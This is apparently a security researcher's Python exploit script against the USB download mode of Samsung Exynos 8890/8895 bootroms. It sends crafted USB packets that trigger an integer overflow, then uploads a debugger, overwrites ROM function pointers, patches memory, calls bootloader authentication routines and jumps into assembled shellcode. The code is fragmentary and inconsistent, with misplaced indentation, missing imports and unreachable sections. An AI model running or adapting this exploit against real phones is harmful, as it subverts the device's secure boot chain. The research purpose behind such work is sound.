import sys, libusb1, ctypes, struct

BLOCK_SIZE = 512
CHUNK_SIZE = 0xfffe00
MAX_PAYLOAD_SIZE = (BLOCK_SIZE - 10) # 512, - 10 for ready (4), size (4), footer (2)

DL_BUFFER_START = 0x02021800
DL_BUFFER_SIZE = 0x4E800 #max allowed/usable size within the buffer, with end at 0x02070000

BOOTROM_START = 0x0
BOOTROM_SIZE = 0x20000 #128Kb

TARGET_OFFSETS = {
    # XFER_BUFFER,	RA_PTR, XFER_END_SIZE
    "8890": (0x02021800, 0x02020F08, 0x02070000), #0x206ffff on exynos 8890
    "8895": (0x02021800, 0x02020F18, 0x02070000)
}

ENDPOINT_BULK_IN = 0x81
ENDPOINT_BULK_OUT = 0x2

def p32(x):
    return struct.pack("<I", x)

def p8(x):
    return struct.pack("<B", x)

def p16(x):
    return struct.pack("<H", x)

def p64(x):
    return struct.pack("<Q", x)


def test_bug_2(self):
    """Interger overflow in last packet if reamining size is 1."""
    transferred = ctypes.c_int()
    bug_payload = p32(0) + p32(0x201 + 2 + MAX_PAYLOAD_SIZE + 0x7) + b"\x00" * MAX_PAYLOAD_SIZE + p16(0)
    bug_payload += b"\xcc" * (BLOCK_SIZE - len(bug_payload))
    res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, bug_payload, len(bug_payload), ctypes.byref(transferred), 0)
    assert res == 0

    payload = b"\xaa" * 0x200
    res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, payload, len(payload), ctypes.byref(transferred), 0)
    assert res == 0

    payload = b"\xaa" * 0x200
    res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, payload, len(payload), ctypes.byref(transferred), 0)
    while True:
        res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, payload, len(payload), ctypes.byref(transferred), 10)

def test_bug(self):
    """Verify bug existence"""
    # Start by sending a valid packet
    # Integer overflow in the size field
    # unk + size + payload + header
    payload = p32(0) + p32(0xFDFDE7FF + 0x1000) + b"\x00" * MAX_PAYLOAD_SIZE + p16(0)

    assert (len(payload) == BLOCK_SIZE)
    res = self.write(payload, MAX_PAYLOAD_SIZE)

    for i in range(200):
        print(hex(self.send_empty_transfer()))

    print('Bug probably available')
    sys.exit(0)


    def dumb_interact(self, dump_imems=False):
        '''
        Room for playing around with the debugger on the phone.
        '''
        self.cd.arch_dbg.state.auto_sync = False
        self.cd.arch_dbg.state.auto_sync_special = False
        print('State after setting up initial debugger')
        self.cd.arch_dbg.state.print_ctx()

        def first_debugger():
            debugger = open("/home/eljakim/Source/gupje/source/bin/samsung_s7/debugger.bin", "rb").read()
            self.cd.memwrite_region(0x2069000, debugger)
            self.cd.restore_stack_and_jump(0x2069000)
            assert self.usb_read(0x200) == b"GiAs", "Failed to relocate debugger"
            self.cd.relocate_debugger(0x206d000 + 0x1000, 0x2069000, 0x206d000)

        # self.relocate_debugger()
        DEBUGGER_ADDR = 0x2069000 #0x020c0000

        ### Get whereabouts of the debugger and current processor state
        print('State after relocating debugger')
        self.cd.arch_dbg.state.print_ctx()

        def memdump_imem():
            """
            Dumps the internal memory of the device (0x2020000 - 0x2070000).
            """
            dumped = b""
            for block in range(0x2020000, 0x2070000, 0x200):
                # print(hex(block))
                dumped += self.cd.memdump_region(block, 0x200)
            return dumped

        AUTH_BL1 = 0x00012848 # Location of the authentication function
        def auth_bl1(lr=0x2069000):
            # Load the firmware
            self.cd.arch_dbg.state.X0 = 1
            self.cd.arch_dbg.state.X1 = 1
            self.cd.arch_dbg.state.LR = lr #jump back to debugger when finished
            self.cd.restore_stack_and_jump(AUTH_BL1)
            assert self.usb_read(0x200) == b"GiAs", "Failed to jump back to debugger"
            assert self.cd.arch_dbg.state.X0 == 0, "auth_bl1 returned with error!"

        BOOT_BL1 = 0x00019310 # Location of the boot function
        def boot_bl1(lr=0x2069000):
            self.cd.arch_dbg.state.LR = lr
            self.cd.restore_stack_and_jump(BOOT_BL1)
            assert self.usb_read(0x200) == b"GiAs", "Failed to jump back to debugger"

        JUMP_BL1 = 0x000002c0 # Location of the function to start the BL1 boot
        def jump_bl1(lr):
            self.cd.arch_dbg.state.LR = lr
            self.cd.restore_stack_and_jump(JUMP_BL1)

        # Always hijack rom_usb_download function:
        rom_usb_download = self.cd.memdump_region(0x020200dc, 4)
        self.cd.memwrite_region(0x020200dc, p32(0x2069000))

        # Try loading bl1
        bl1 = open("../S7/bl1.bin", "rb").read()
        self.cd.memwrite_region(0x02021800, bl1)
        self.usb_write(b"FLSH") # Flush cache, as Frederic does
        self.cd.test_connection()
        auth_bl1(DEBUGGER_ADDR)
        # boot_bl1(DEBUGGER_ADDR)
        self.cd.memwrite_region(0x02022858, self.cd.arch_dbg.sc.branch_absolute(DEBUGGER_ADDR)) # jump to debugger on next stage download
        self.cd.memwrite_region(0x020219cc, self.cd.arch_dbg.sc.branch_absolute(DEBUGGER_ADDR))
        jump_bl1(DEBUGGER_ADDR)

        # Returns on usb_download function
        assert self.usb_read(0x200) == b"GiAs", "Failed to jump back to debugger"
        self.cd.arch_dbg.state.print_ctx()
        dl_ready, next_stage = struct.unpack("<II", self.cd.memdump_region(0x02021518, 8))
        bl31 = open("../S7/bl31.bin", "rb").read()
        self.cd.memwrite_region(0x02024000, bl31)
        self.cd.memwrite_region(0x02021518, p32(1)) # Set dl_ready to 1
        self.cd.memwrite_region(0x02021518 + 4 , p32(self.cd.arch_dbg.state.X0))

        self.cd.arch_dbg.state.X0 = 0
        self.cd.restore_stack_and_jump(0x020219c8)
        pass

        # assert len(bl31) % 0x200 == 0, "Size needs to be 512 bytes aligned"
        # self.cd.memwrite_region(self.cd.arch_dbg.state.X0, p32(147456)) # Update amount of blocks

        # self.cd.arch_dbg.state.LR = DEBUGGER_ADDR
        # self.cd.restore_stack_and_jump(0x02022a08)
        # Patches
        # self.cd.memwrite_region(0x02022a08, self.cd.arch_dbg.sc.mov_0_w0_ins + self.cd.arch_dbg.sc.ret_ins) # Overwrite line register to jump back to debugger (see code flow at 0x02021800 +0x10, after the bl1 has been written to memory at this address)
        # self.cd.memwrite_region(0x2022948 + 4, self.cd.arch_dbg.sc.branch_absolute(DEBUGGER_ADDR))

        # Patch stupid error function
        # self.usb_write(b"FLSH") # Flush cache

        # Download next stage?
        lr = self.cd.arch_dbg.state.LR
        # self.cd.arch_dbg.state.LR = DEBUGGER_ADDR
        pass

        # Overwrite jump back to the debugger from functions encountered during jump_bl1
        self.cd.memwrite_region(0x020200e8, p32(0x020c0000)) # Overwrite line register to jump back to debugger (see code flow at 0x02021800 +0x10, after the bl1 has been written to memory at this address)
        self.cd.memwrite_region(0x020200dc, p32(0x020c0000))

        def hijack_brom_weird():
            print(f"From = {hex(self.cd.arch_dbg.state.LR - 4)} X0 = {hex(self.cd.arch_dbg.state.X0)}")
            self.cd.restore_stack_and_jump(0x00000314)

        jump_bl1(0x020c0000)
        def handle_weird_brom():
            while True:
                try:
                    resp = self.usb_read(0x200)
                    logging.debug(f'Within jump_bl1. Response: {resp}.')
                    if self.cd.arch_dbg.state.LR == 0x02022948:
                        break # ROM will load next stage over USB
                    hijack_brom_weird()
                except Exception as e:
                    pass
        handle_weird_brom()

        ### For getting special registers. Non-writeable registers are detected. (UXN, PXN, etc)
        # self.cd.jump_to(0x2069000)
        # assert self.usb_read(0x200) == b"GiAs", "Failed to jump back to debugger"
        # self.cd.fetch_special_regs()

        self.cd.memwrite_region(0x02022a08, self.cd.arch_dbg.sc.mov_0_w0_ins + self.cd.arch_dbg.sc.ret_ins)

        self.cd.arch_dbg.state.X0 = 1
        self.cd.restore_stack_and_jump(self.cd.arch_dbg.state.LR)
        self.usb_read(0x200) # GiAs

        self.cd.arch_dbg.state.LR = 0x2069000
        self.cd.restore_stack_and_jump(0x00000314)
        pass

        ### UXN and PXN seem to be present over the USB stack (02021800+)
        shellcode = f"""
        ldr x0, debugger_addr
        blr x0
        debugger_addr:   .quad 0x02022000
        """

        shellcode = ks.asm(shellcode, as_bytes=True)[0]
        self.cd.memwrite_region(0x2021800, shellcode)

        self.cd.jump_to(0x2021800)
        pass

        # bl31 = bl31[:0x14] + self.cd.arch_dbg.sc.branch_absolute(0x2069000) + bl31[0x24:] # Overwrite jump back to debugger
        # # Write bl31 at 0x02021800 and authenticate

        auth_bl1(0x020c0000)

        # Jump to bl31
        jump_bl1(0x02021800)
        pass

        # VERY OLD

        #000125b4
        # self.cd.arch_dbg.state.LR = 0x2069000 #jump back to debugger when finished
        # self.cd.restore_stack_and_jump(0x00012814)
        # self.cd.restore_stack_and_jump(0x000125b4)